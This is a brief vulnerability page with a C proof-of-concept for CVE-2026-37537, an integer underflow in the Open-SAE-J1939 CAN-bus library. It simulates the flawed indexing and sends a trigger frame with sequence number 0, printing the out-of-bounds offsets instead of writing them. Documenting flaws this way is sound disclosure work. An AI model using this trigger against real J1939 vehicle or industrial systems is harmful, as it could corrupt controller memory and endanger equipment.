CVE-2026-37537 Open-SAE-J1939 整数下溢漏洞

#include <stdio.h> #include <stdint.h> #include <stdlib.h> #define MAX_TP_DT 1785 // Simulated structure based on the vulnerability description struct TP_DT { uint8_t data[MAX_TP_DT]; }; // Function simulating the vulnerable logic void vulnerable_transport_protocol_handling(uint8_t *can_frame_data) { struct TP_DT *tp_dt = (struct TP_DT *)malloc(sizeof(struct TP_DT)); if (!tp_dt) return; // VULNERABLE LINE: Integer underflow occurs here if data[0] is 0 // uint8_t index = data[0] - 1; uint8_t index = can_frame_data[0] - 1; printf("[DEBUG] Calculated index: %d\n", index); // Simulating the loop that writes data for (int i = 1; i < 8; i++) { // Calculate offset: index * 7 + i - 1 // If index is 255 (due to underflow), offset starts at 255*7 = 1785 int offset = index * 7 + i - 1; printf("[DEBUG] Attempting write to offset: %d\n", offset); if (offset >= MAX_TP_DT) { printf("[!!!] OUT-OF-BOUNDS WRITE DETECTED at offset %d (Buffer size: %d)!\n", offset, MAX_TP_DT); // In a real scenario, this corrupts memory } else { tp_dt->data[offset] = can_frame_data[i]; } } free(tp_dt); } int main() { // Malicious CAN frame payload // data[0] is the sequence number. Setting it to 0 triggers the underflow. uint8_t malicious_frame[8] = {0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47}; printf("--- CVE-2026-37537 PoC Trigger ---\n"); printf("Sending frame with sequence number 0...\n"); vulnerable_transport_protocol_handling(malicious_frame); printf("--- Exploit Attempt Finished ---\n"); return 0; }